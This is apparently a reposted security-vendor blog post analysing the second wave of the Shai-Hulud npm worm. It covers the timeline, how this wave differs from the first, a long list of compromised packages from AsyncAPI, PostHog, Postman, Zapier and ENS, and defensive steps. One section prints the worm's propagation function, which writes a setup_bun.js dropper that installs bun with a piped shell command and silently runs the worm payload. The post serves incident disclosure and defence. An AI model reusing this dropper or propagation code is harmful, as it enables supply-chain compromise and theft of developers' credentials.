SHA1-葫芦第二次降临 – Postman、Zapier、PostHog 因 NPM 被攻破
SHA1-Hulud the Second Comming – Postman, Zapier, PostHog All Compromised via NPM

原始链接: https://www.aikido.dev/blog/shai-hulud-strikes-again-hitting-zapier-ensdomains

## Shai-Hulud 蠕虫再次袭击 npm 名为“第二次降临”的新一波攻击来自 Shai-Hulud npm 蠕虫,正在影响开发者。这种自我复制的恶意软件,以《沙丘》中的沙虫命名,利用 npm 在 12 月 9 日撤销经典令牌前的漏洞窗口,入侵软件包以窃取密钥并进一步传播。 本次攻击与之前的攻击不同,它使用 `bun` 进行执行,并为泄露的数据创建动态命名的 GitHub 仓库。它的影响范围也在扩大,目标数量从之前的 20 个软件包增加到 100 个,并威胁如果 GitHub/npm 身份验证失败,将擦除用户主目录。 目前,已有 **492 个软件包** 确认被入侵,其中包括来自 Zapier、ENS、AsyncAPI、PostHog 和 Postman 的软件包,总计 **1.32 亿次每月下载量**。该蠕虫使用 TruffleHog 搜索暴露的 API 密钥和令牌,并将结果上传到公共 GitHub 仓库。 **安全团队应立即:** 审计依赖项,轮换凭据,检查 GitHub 上是否有可疑仓库,在 CI 中禁用 `postinstall` 脚本,固定软件包版本,并强制 MFA。 这是一个持续发生的情况,保持警惕至关重要。

## 沙伊·胡鲁德供应链攻击 - 摘要 沙伊·胡鲁德组织发起的第二次供应链攻击已经破坏了超过300个NPM软件包,影响了Postman、Zapier和PostHog等公司。攻击者正在窃取机密信息,包括AWS凭证,并将它们公开发布在GitHub上,仓库名为“Sha1-hulud: The Second Coming”(虽然名称有拼写错误 – 应该是Shai-Hulud)。 Hacker News上的讨论最初涉及识别潜在的重复帖子,最终导致合并相关评论并将新文章的链接添加到原始讨论中。用户正在分享资源以减轻风险,包括Bubblewrap工具(bwrap)以限制恶意代码在安装期间造成的损害,以及一个Python脚本来检查锁定文件中是否存在受损软件包。一些人认为,此时将暴露的密钥保留在GitHub上可能比对攻击者更有帮助。
相关文章

原文

It's another Monday morning, sitting down at the computer. And I see a stack of alerts from the last hour of packages showing signs of malware in our triage queue. Having not yet finished my first cup of coffee, I see Shai Hulud indicators. Yikes, surely that's a false positive? Nope, welcome to Monday, Shai Hulud struck again. Strap in.

Timeline of the Shai-Hulud Campaign

The timing is notable, given npm’s recent announcement that it will revoke classic tokens on December 9 after the wave of supply-chain attacks. With many users still not migrated to trusted publishing, the attacker seized the moment for one more hit before npm’s deadline.

  • August 27 - We release our report detailing the S1ngularity campaign targeting several nx packages on npm.  
  • September 16 - The attacker strikes again, launching the first wave of the Shai-Hulud attacks.  
  • September 18 - We publish a follow-up analysis, diving deeper into the campaign’s technical quirks and early payload behavior.  
  • November 24 - A second strike occurs, dubbed the “Second Coming” by the attackers, timed just before npm’s deadline for revoking old tokens.

What is Shai-Hulud?: A Quick Refresher

Shai-Hulud, named after the gigantic sandworms from Dune as part of the attacker's flair for theatrics, is a self-replicating npm worm built to spread quickly through compromised developer environments. Once it infects a system, it searches for exposed secrets such as API keys and tokens using TruffleHog and publishes anything it finds to a public GitHub repository. It then attempts to push new copies of itself to npm, helping it propagate across the ecosystem, while exfiltrating data back to the attacker. Keeping with the dramatic theme, the attacker refers to this latest wave as the “Second Coming.”

Differences from last time

This time around, there are some significant differences in the attack:

  • It install bun with the file setup_bun.js and then uses that to execute bun_environment.js  which is the actual malicious code.
  • It creates a randomly named repository with stolen data, rather than a hardcoded name.
  • It will infect up to 100 npm packages, compared to 20 last time.
  • If it can't authenticate with GitHub or NPM, it will wipe all files in the users Home directory.

Which packages are affected?

We've detected the following packages compromised with a new version of Shai Hulud. Between all these 492 packages, they have a total of 132 million monthly downloads:

  • @asyncapi/diff
  • @asyncapi/nodejs-ws-template
  • go-template
  • @asyncapi/avro-schema-parser
  • @asyncapi/converter
  • @asyncapi/dotnet-rabbitmq-template
  • @asyncapi/nunjucks-filters
  • @asyncapi/protobuf-schema-parser
  • @asyncapi/problem
  • @asyncapi/optimizer
  • @asyncapi/python-paho-template
  • @asyncapi/multi-parser
  • @asyncapi/bundler
  • @asyncapi/php-template
  • asyncapi-preview
  • @asyncapi/java-spring-cloud-stream-template
  • @asyncapi/modelina-cli
  • @asyncapi/generator-helpers
  • @asyncapi/java-template
  • @asyncapi/react-component
  • @asyncapi/generator
  • @asyncapi/server-api
  • @asyncapi/java-spring-template
  • @asyncapi/cli
  • @asyncapi/web-component
  • @asyncapi/specs
  • @asyncapi/modelina
  • @asyncapi/parser
  • @asyncapi/html-template
  • @asyncapi/go-watermill-template
  • @asyncapi/openapi-schema-parser
  • @asyncapi/edavisualiser
  • @asyncapi/generator-components
  • dotnet-template
  • @asyncapi/keeper
  • github-action-for-generator
  • @asyncapi/nodejs-template
  • @asyncapi/markdown-template
  • @quick-start-soft/quick-git-clean-markdown
  • @quick-start-soft/quick-markdown-image
  • @quick-start-soft/quick-markdown-translator
  • @quick-start-soft/quick-markdown
  • test23112222-api
  • @asyncapi/generator-react-sdk
  • @quick-start-soft/quick-markdown-compose
  • iron-shield-miniapp
  • manual-billing-system-miniapp-api
  • shinhan-limit-scrap
  • @strapbuild/react-native-perspective-image-cropper
  • react-native-use-modal
  • @quick-start-soft/quick-task-refine
  • @strapbuild/react-native-date-time-picker
  • @strapbuild/react-native-perspective-image-cropper-2
  • create-glee-app
  • @strapbuild/react-native-perspective-image-cropper-poojan31
  • @asyncapi/studio
  • @quick-start-soft/quick-markdown-print
  • @quick-start-soft/quick-remove-image-background
  • eslint-config-zeallat-base
  • korea-administrative-area-geo-json-util
  • @quick-start-soft/quick-document-translator
  • axios-builder
  • posthog-node
  • @posthog/first-time-event-tracker
  • @posthog/event-sequence-timer-plugin
  • @posthog/gitub-star-sync-plugin
  • posthog-plugin-hello-world
  • @posthog/bitbucket-release-tracker
  • @posthog/maxmind-plugin
  • @posthog/postgres-plugin
  • @posthog/twilio-plugin
  • @posthog/cli
  • @posthog/clickhouse
  • @posthog/snowflake-export-plugin
  • posthog-react-native-session-replay
  • @posthog/drop-events-on-property-plugin
  • @posthog/github-release-tracking-plugin
  • @posthog/icons
  • @posthog/geoip-plugin
  • @posthog/intercom-plugin
  • @posthog/plugin-unduplicates
  • @posthog/react-rrweb-player
  • drop-events-on-property-plugin
  • @posthog/ingestion-alert-plugin
  • @posthog/kinesis-plugin
  • @posthog/laudspeaker-plugin
  • @posthog/nextjs
  • @posthog/nextjs-config
  • @posthog/automatic-cohorts-plugin
  • @posthog/migrator3000-plugin
  • @posthog/pagerduty-plugin
  • @posthog/plugin-contrib
  • @posthog/sendgrid-plugin
  • @posthog/customerio-plugin
  • @posthog/rrweb-utils
  • @posthog/taxonomy-plugin
  • @posthog/zendesk-plugin
  • @posthog/netdata-event-processing
  • @posthog/url-normalizer-plugin
  • posthog-docusaurus
  • @posthog/currency-normalization-plugin
  • @posthog/filter-out-plugin
  • @posthog/heartbeat-plugin
  • @actbase/react-native-fast-image
  • @posthog/ai
  • @posthog/databricks-plugin
  • @actbase/react-native-kakao-channel
  • calc-loan-interest
  • @actbase/react-absolute
  • @actbase/react-daum-postcode
  • @actbase/react-native-simple-video
  • @posthog/core
  • @posthog/lemon-ui
  • @seung-ju/next
  • @seung-ju/react-hooks
  • posthog-react-native
  • @actbase/css-to-react-native-transform
  • @actbase/react-native-actionsheet
  • @actbase/react-native-tiktok
  • @seung-ju/react-native-action-sheet
  • @actbase/react-kakaosdk
  • @posthog/agent
  • @posthog/variance-plugin
  • discord-bot-server
  • @posthog/rrweb-replay
  • @posthog/rrweb-snapshot
  • @actbase/node-server
  • @actbase/react-native-devtools
  • @posthog/plugin-server
  • @posthog/rrweb-record
  • @actbase/native
  • @actbase/react-native-less-transformer
  • @posthog/rrweb
  • posthog-js
  • @posthog/web-dev-server
  • @posthog/piscina
  • @posthog/nuxt
  • @posthog/rrweb-player
  • @posthog/wizard
  • @actbase/react-native-kakao-navi
  • @posthog/siphash
  • @posthog/twitter-followers-plugin
  • @actbase/react-native-naver-login
  • @seung-ju/openapi-generator
  • @posthog/rrdom
  • @posthog/hedgehog-mode
  • react-native-worklet-functions
  • expo-audio-session
  • poper-react-sdk
  • @postman/secret-scanner-wasm
  • @postman/csv-parse
  • @postman/node-keytar
  • @postman/tunnel-agent
  • @postman/pm-bin-macos-arm64
  • @postman/pm-bin-linux-x64
  • @postman/postman-collection-fork
  • @postman/postman-mcp-server
  • @postman/wdio-junit-reporter
  • @postman/aether-icons
  • @postman/postman-mcp-cli
  • @postman/pretty-ms
  • @postman/pm-bin-windows-x64
  • @postman/wdio-allure-reporter
  • @postman/final-node-keytar
  • @postman/pm-bin-macos-x64
  • @aryanhussain/my-angular-lib
  • capacitor-plugin-apptrackingios
  • capacitor-plugin-purchase
  • capacitor-purchase-history
  • capacitor-voice-recorder-wav
  • scgs-capacitor-subscribe
  • @postman/mcp-ui-client
  • capacitor-plugin-scgssigninwithgoogle
  • @kvytech/medusa-plugin-announcement
  • @kvytech/medusa-plugin-product-reviews
  • medusa-plugin-zalopay
  • scgsffcreator
  • @kvytech/habbit-e2e-test
  • medusa-plugin-logs
  • medusa-plugin-product-reviews-kvy
  • @kvytech/medusa-plugin-promotion
  • medusa-plugin-momo
  • @kvytech/components
  • medusa-plugin-announcement
  • @kvytech/cli
  • @kvytech/medusa-plugin-newsletter
  • @kvytech/medusa-plugin-management
  • @kvytech/web
  • create-hardhat3-app
  • test-hardhat-app
  • evm-checkcode-cli
  • gate-evm-tools-test
  • gate-evm-check-code2
  • web-types-htmx
  • test-foundry-app
  • web-types-lit
  • bun-plugin-httpfile
  • open2internet
  • vite-plugin-httpfile
  • @ensdomains/vite-plugin-i18next-loader
  • @ensdomains/blacklist
  • @ensdomains/durin
  • @ensdomains/renewal
  • @ensdomains/cypress-metamask
  • bytecode-checker-cli
  • @ensdomains/dnsprovejs
  • @ensdomains/ccip-read-dns-gateway
  • @ensdomains/ccip-read-cf-worker
  • @ensdomains/dnssec-oracle-anchors
  • @ensdomains/reverse-records
  • @ensdomains/ens-test-env
  • @ensdomains/hackathon-registrar
  • @ensdomains/renewal-widget
  • crypto-addr-codec
  • @ensdomains/solsha1
  • @ensdomains/server-analytics
  • @ensdomains/ui
  • @ensdomains/test-utils
  • @ensdomains/mock
  • @ensdomains/ccip-read-router
  • @zapier/babel-preset-zapier
  • @ensdomains/hardhat-chai-matchers-viem
  • @ensdomains/ccip-read-worker-viem
  • @zapier/browserslist-config-zapier
  • @zapier/zapier-sdk
  • @zapier/stubtree
  • zapier-async-storage
  • @zapier/ai-actions
  • @zapier/mcp-integration
  • @zapier/spectral-api-ruleset
  • @ensdomains/address-encoder
  • redux-router-kit
  • @ensdomains/eth-ens-namehash
  • zapier-scripts
  • @ensdomains/buffer
  • @ensdomains/thorin
  • zapier-platform-legacy-scripting-runner
  • zapier-platform-schema
  • @ensdomains/dnssecoraclejs
  • zapier-platform-core
  • @ensdomains/op-resolver-contracts
  • @ensdomains/ens-archived-contracts
  • @ensdomains/ensjs
  • @ensdomains/subdomain-registrar
  • @ensdomains/unruggable-gateways
  • @ensdomains/web3modal
  • zapier-platform-cli
  • @ensdomains/ens-contracts
  • @ensdomains/react-ens-address
  • @ensdomains/curvearithmetics
  • @zapier/secret-scrubber
  • @ensdomains/hardhat-toolbox-viem-extended
  • ethereum-ens
  • @ensdomains/durin-middleware
  • @ensdomains/unicode-confusables
  • @ensdomains/ensjs-react
  • @ensdomains/content-hash
  • @ensdomains/ens-avatar
  • @zapier/ai-actions-react
  • @zapier/eslint-plugin-zapier
  • @ensdomains/offchain-resolver-contracts
  • @ensdomains/ens-validation
  • @ensdomains/name-wrapper
  • @hapheus/n8n-nodes-pgp
  • @markvivanco/app-version-checker
  • claude-token-updater
  • n8n-nodes-tmdb
  • devstart-cli
  • skills-use
  • @mcp-use/inspector
  • zuper-sdk
  • zuper-stream
  • @mcp-use/mcp-use
  • create-mcp-use-app
  • mcp-use
  • @mcp-use/cli
  • zuper-cli
  • @caretive/caret-cli
  • cpu-instructions
  • lite-serper-mcp-server
  • @louisle2/core
  • jan-browser
  • exact-ticker
  • react-library-setup
  • orbit-soap
  • @orbitgtbelgium/mapbox-gl-draw-scale-rotate-mode
  • token.js-fork
  • react-component-taggers
  • @louisle2/cortex-js
  • orbit-nebula-editor
  • @trigo/pathfinder-ui-css
  • @trigo/jsdt
  • @trigo/atrix-redis
  • @trigo/eslint-config-trigo
  • @trigo/atrix-orientdb
  • @trigo/node-soap
  • eslint-config-trigo
  • @trigo/bool-expressions
  • @trigo/atrix-pubsub
  • @trigo/atrix-elasticsearch
  • @trigo/hapi-auth-signedlink
  • @trigo/keycloak-api
  • @trigo/atrix-soap
  • @trigo/atrix-swagger
  • @trigo/atrix-acl
  • atrix
  • redux-forge
  • @trigo/atrix-mongoose
  • @trigo/atrix
  • orbit-boxicons
  • atrix-mongoose
  • bool-expressions
  • react-element-prompt-inspector
  • trigo-react-app
  • @trigo/trigo-hapijs
  • @trigo/fsm
  • command-irail
  • @orbitgtbelgium/mapbox-gl-draw-cut-polygon-mode
  • @trigo/atrix-postgres
  • @orbitgtbelgium/time-slider
  • @orbitgtbelgium/orbit-components
  • orbit-nebula-draw-tools
  • typeorm-orbit
  • @mparpaillon/connector-parse
  • @mparpaillon/imagesloaded
  • @commute/market-data
  • gitsafe
  • @osmanekrem/error-handler
  • @commute/bloom
  • okta-react-router-6
  • designstudiouiux
  • itobuz-angular
  • @ifelsedeveloper/protocol-contracts-svm-idl
  • ito-button
  • @dev-blinq/cucumber_client
  • blinqio-executions-cli
  • itobuz-angular-auth
  • @dev-blinq/ai-qa-logic
  • axios-timed
  • react-native-email
  • tenacious-fetch
  • kill-port
  • jacob-zuma
  • luno-api
  • @lessondesk/eslint-config
  • sort-by-distance
  • just-toasty
  • image-to-uri
  • react-native-phone-call
  • formik-error-focus
  • jquery-bindings
  • @lessondesk/babel-preset
  • barebones-css
  • coinmarketcap-api
  • license-o-matic
  • @varsityvibe/api-client
  • pico-uid
  • hyperterm-hipster
  • set-nested-prop
  • bytes-to-x
  • enforce-branch-name
  • fittxt
  • get-them-args
  • react-native-retriable-fetch
  • svelte-autocomplete-select
  • feature-flip
  • lint-staged-imagemin
  • react-native-view-finder
  • formik-store
  • shell-exec
  • react-native-log-level
  • @everreal/web-analytics
  • react-native-jam-icons
  • @thedelta/eslint-config
  • parcel-plugin-asset-copier
  • react-native-websocket
  • ra-data-firebase
  • react-jam-icons
  • react-native-fetch
  • @ifings/design-system
  • gatsby-plugin-cname
  • @alexcolls/nuxt-ux
  • react-native-datepicker-modal
  • undefsafe-typed
  • chrome-extension-downloads
  • @alexcolls/nuxt-socket.io
  • fuzzy-finder
  • sa-company-registration-number-regex
  • flapstacks
  • react-keycloak-context
  • react-qr-image
  • @tiaanduplessis/react-progressbar
  • @lessondesk/schoolbus
  • @tiaanduplessis/json
  • react-native-get-pixel-dimensions
  • nanoreset
  • next-circular-dependency
  • url-encode-decode
  • axios-cancelable
  • compare-obj
  • wenk
  • haufe-axera-api-client
  • obj-to-css
  • sa-id-gen
  • @lessondesk/api-client
  • @varsityvibe/validation-schemas
  • flatten-unflatten
  • stoor
  • @clausehq/flows-step-jsontoxml
  • @accordproject/concerto-analysis
  • hope-mapboxdraw
  • count-it-down
  • hopedraw
  • @accordproject/markdown-it-cicero
  • piclite
  • @fishingbooker/react-swiper
  • @fishingbooker/browser-sync-plugin
  • generator-meteor-stock
  • @fishingbooker/react-loader
  • benmostyn-frame-print
  • @fishingbooker/react-pagination
  • @voiceflow/anthropic
  • @voiceflow/voice-types
  • @voiceflow/default-prompt-wrappers
  • @voiceflow/npm-package-json-lint-config
  • @voiceflow/nestjs-mongodb
  • @voiceflow/tsconfig
  • @voiceflow/test-common
  • @voiceflow/husky-config
  • @voiceflow/commitlint-config
  • @voiceflow/git-branch-check
  • normal-store
  • @voiceflow/prettier-config
  • @voiceflow/stylelint-config
  • vf-oss-template
  • @voiceflow/storybook-config
  • @voiceflow/verror
  • @voiceflow/alexa-types
  • @voiceflow/nestjs-timeout
  • @voiceflow/serverless-plugin-typescript
  • @voiceflow/voiceflow-types
  • shelf-jwt-sessions
  • @hover-design/react
  • @voiceflow/base-types
  • @voiceflow/eslint-config
  • @voiceflow/fetch
  • @voiceflow/common
  • @voiceflow/eslint-plugin
  • @voiceflow/exception
  • @voiceflow/dtos-interact
  • @voiceflow/google-types
  • @voiceflow/nestjs-common
  • @voiceflow/pino
  • @voiceflow/sdk-runtime
  • @voiceflow/nestjs-rate-limit
  • @voiceflow/openai
  • dialogflow-es
  • @voiceflow/widget
  • arc-cli-fc
  • composite-reducer
  • bidirectional-adapter
  • @antstackio/express-graphql-proxy
  • @antstackio/json-to-graphql
  • @voiceflow/body-parser
  • @voiceflow/logger
  • @antstackio/eslint-config-antstack
  • @voiceflow/vitest-config
  • @faq-component/core
  • @pruthvi21/use-debounce
  • @voiceflow/api-sdk
  • @hover-design/core
  • @faq-component/react
  • @voiceflow/semantic-release-config
  • @voiceflow/vite-config
  • @voiceflow/circleci-config-sdk-orb-import
  • @voiceflow/backend-utils
  • @voiceflow/slate-serializer
  • @voiceflow/google-dfes-types
  • n8n-nodes-viral-app
  • @accordproject/markdown-docx
  • @clausehq/flows-step-sendgridemail
  • @lpdjs/firestore-repo-service
  • @trefox/sleekshop-js
  • invo
  • jsonsurge
  • mon-package-react-typescript
  • rediff
  • solomon-api-stories
  • solomon-v3-stories
  • solomon-v3-ui-wrapper
  • tcsp-draw-test
  • uplandui

Leaking secrets

This time, the malware also publishes secrets to GitHub, with a random name and the repository description:

"Sha1-Hulud: The Second Coming."

Currently we see 26.3k repositories exposed:

Mistakes made again

As we've been analzying all these packages, we've noticed a number of compromised packages that appear to be from community spread, which contain the initial staging code in setup_bun.js, but NOT bun_environment.js which is the Shai Hulud worm itself. Here's the code that spreads the worm into other packages:

  async ["bundleAssets"](_0x349b3d) {
    let _0x2bd41c = a0_0x459ea5.join(_0x349b3d, 'package', "setup_bun.js");
    await iL0(_0x2bd41c, "#!/usr/bin/env node\nconst { spawn, execSync } = require('child_process');\nconst path = require('path');\nconst fs = require('fs');\nconst os = require('os');\n\nfunction isBunOnPath() {\n  try {\n    const command = process.platform === 'win32' ? 'where bun' : 'which bun';\n    execSync(command, { stdio: 'ignore' });\n    return true;\n  } catch {\n    return false;\n  }\n}\n\nfunction reloadPath() {\n  // Reload PATH environment variable\n  if (process.platform === 'win32') {\n    try {\n      // On Windows, get updated PATH from registry\n      const result = execSync('powershell -c \"[Environment]::GetEnvironmentVariable(\\'PATH\\', \\'User\\') + \\';\\' + [Environment]::GetEnvironmentVariable(\\'PATH\\', \\'Machine\\')\"', {\n        encoding: 'utf8'\n      });\n      process.env.PATH = result.trim();\n    } catch {\n    }\n  } else {\n    try {\n      // On Unix systems, source common shell profile files\n      const homeDir = os.homedir();\n      const profileFiles = [\n        path.join(homeDir, '.bashrc'),\n        path.join(homeDir, '.bash_profile'),\n        path.join(homeDir, '.profile'),\n        path.join(homeDir, '.zshrc')\n      ];\n\n      // Try to source profile files to get updated PATH\n      for (const profileFile of profileFiles) {\n        if (fs.existsSync(profileFile)) {\n          try {\n            const result = execSync(`bash -c \"source ${profileFile} && echo $PATH\"`, {\n              encoding: 'utf8',\n              stdio: ['pipe', 'pipe', 'ignore']\n            });\n            if (result && result.trim()) {\n              process.env.PATH = result.trim();\n              break;\n            }\n          } catch {\n            // Continue to next profile file\n          }\n        }\n      }\n\n      // Also check if ~/.bun/bin exists and add it to PATH if not already there\n      const bunBinDir = path.join(homeDir, '.bun', 'bin');\n      if (fs.existsSync(bunBinDir) && !process.env.PATH.includes(bunBinDir)) {\n        process.env.PATH = `${bunBinDir}:${process.env.PATH}`;\n      }\n    } catch {}\n  }\n}\n\nasync function downloadAndSetupBun() {\n  try {\n    let command;\n    if (process.platform === 'win32') {\n      // Windows: Use PowerShell script\n      command = 'powershell -c \"irm bun.sh/install.ps1|iex\"';\n    } else {\n      // Linux/macOS: Use curl + bash script\n      command = 'curl -fsSL https://bun.sh/install | bash';\n    }\n\n    execSync(command, {\n      stdio: 'ignore',\n      env: { ...process.env }\n    });\n\n    // Reload PATH to pick up newly installed bun\n    reloadPath();\n\n    // Find bun executable after installation\n    const bunPath = findBunExecutable();\n    if (!bunPath) {\n      throw new Error('Bun installation completed but executable not found');\n    }\n\n    return bunPath;\n  } catch  {\n    process.exit(0);\n  }\n}\n\nfunction findBunExecutable() {\n  // Common locations where bun might be installed\n  const possiblePaths = [];\n\n  if (process.platform === 'win32') {\n    // Windows locations\n    const userProfile = process.env.USERPROFILE || '';\n    possiblePaths.push(\n      path.join(userProfile, '.bun', 'bin', 'bun.exe'),\n      path.join(userProfile, 'AppData', 'Local', 'bun', 'bun.exe')\n    );\n  } else {\n    // Unix locations\n    const homeDir = os.homedir();\n    possiblePaths.push(\n      path.join(homeDir, '.bun', 'bin', 'bun'),\n      '/usr/local/bin/bun',\n      '/opt/bun/bin/bun'\n    );\n  }\n\n  // Check if bun is now available on PATH\n  if (isBunOnPath()) {\n    return 'bun';\n  }\n\n  // Check common installation paths\n  for (const bunPath of possiblePaths) {\n    if (fs.existsSync(bunPath)) {\n      return bunPath;\n    }\n  }\n\n  return null;\n}\n\nfunction runExecutable(execPath, args = [], opts = {}) {\n  const child = spawn(execPath, args, {\n    stdio: 'ignore',\n    cwd: opts.cwd || process.cwd(),\n    env: Object.assign({}, process.env, opts.env || {})\n  });\n\n  child.on('error', (err) => {\n    process.exit(0);\n  });\n\n  child.on('exit', (code, signal) => {\n    if (signal) {\n      process.exit(0);\n    } else {\n      process.exit(code === null ? 1 : code);\n    }\n  });\n}\n\n// Main execution\nasync function main() {\n  let bunExecutable;\n\n  if (isBunOnPath()) {\n    // Use bun from PATH\n    bunExecutable = 'bun';\n  } else {\n    // Check if we have a locally downloaded bun\n    const localBunDir = path.join(__dirname, 'bun-dist');\n    const possiblePaths = [\n      path.join(localBunDir, 'bun', 'bun'),\n      path.join(localBunDir, 'bun', 'bun.exe'),\n      path.join(localBunDir, 'bun.exe'),\n      path.join(localBunDir, 'bun')\n    ];\n\n    const existingBun = possiblePaths.find(p => fs.existsSync(p));\n\n    if (existingBun) {\n      bunExecutable = existingBun;\n    } else {\n      // Download and setup bun\n      bunExecutable = await downloadAndSetupBun();\n    }\n  }\n\n  const environmentScript = path.join(__dirname, 'bun_environment.js');\n  if (fs.existsSync(environmentScript)) {\n    runExecutable(bunExecutable, [environmentScript]);\n  } else {\n    process.exit(0);\n  }\n}\n\nmain().catch((error) => {\n  process.exit(0);\n});\n");
    let _0x3ed61a = process.argv[0x1];
    if (_0x3ed61a && (await My1(_0x3ed61a))) {
      let _0x1028dd = await mL0(_0x3ed61a);
      if (_0x1028dd !== null) {
        let _0x4cc8b3 = a0_0x459ea5.join(_0x349b3d, "package", "bun_environment.js");
        await iL0(_0x4cc8b3, _0x1028dd);
      }
    }
  }

We see that the bun_environment.js may sometimes not be bundled, depending on different factors. It appears that mistakes were once again made by the attackers. This appears to have limited the imapct of the attack at this time.

Compromised GitHub repositories

The AsyncAPI team detected that there had been a branch of their CLI project, which was created just prior to the malicious packages being pushed, which deployed a version of the Shai Hulud malware.

https://github.com/asyncapi/cli/blob/2efa4dff59bc3d3cecdf897ccf178f99b115d63d/bun_environment.js

This suggests that the attackers may have used a similar technique to how they pulled off the original Nx compromise.

Patient zero

We detected the first packages starting at 11/24/2025 3:16:26 AM GMT+0, which were the packages go-template, and 36 packages from AsyncAPI. Many more packages were quickly compromised. Afterwards, they started compromising PostHog packages at 11/24/2025  4:11:55 AM GMT+0, and Postman packages at 11/24/2025  5:09:25 AM GMT+0.

Potential impact of Shai-Hulud: Second Coming

Threat actors have slipped malicious code into hundreds of NPM packages — including major ones from Zapier, ENS, AsyncAPI, PostHog, Browserbase, and Postman. If a developer installs one of these bad packages, the malware quietly runs during installation, before anything even finishes installing. This gives it access to the developer’s machine, build systems, or cloud environment. It then uses an automated tool (TruffleHog) to search for sensitive information like passwords, API keys, cloud tokens, and GitHub or NPM credentials. Anything it finds is uploaded to a public GitHub repository labeled “Sha1-Hulud: The Second Coming.” If those stolen secrets include access to code repositories or package registries, attackers can use them to break into more accounts and publish more malicious packages, helping the attack spread further. Because trusted ecosystems were involved and millions of downloads are affected, any team using NPM should immediately check whether they were impacted and rotate any credentials that may have leaked.


Which actions should security teams take?

  • Audit all Zapier/ENS-related npm dependencies and versions.
  • Rotate all GitHub, npm, cloud, and CI/CD secrets used during installs.
  • Check GitHub for strange repos with the description  “Sha1-Hulud: The Second Coming”
  • Disable npm postinstall scripts in CI where possible.
  • Pin package versions and enforce MFA on GitHub and npm accounts.
  • Use tools like Safe-Chain to block malicious packages on NPM


Story developing... Stay tuned for updates.

联系我们 contact @ memedata.com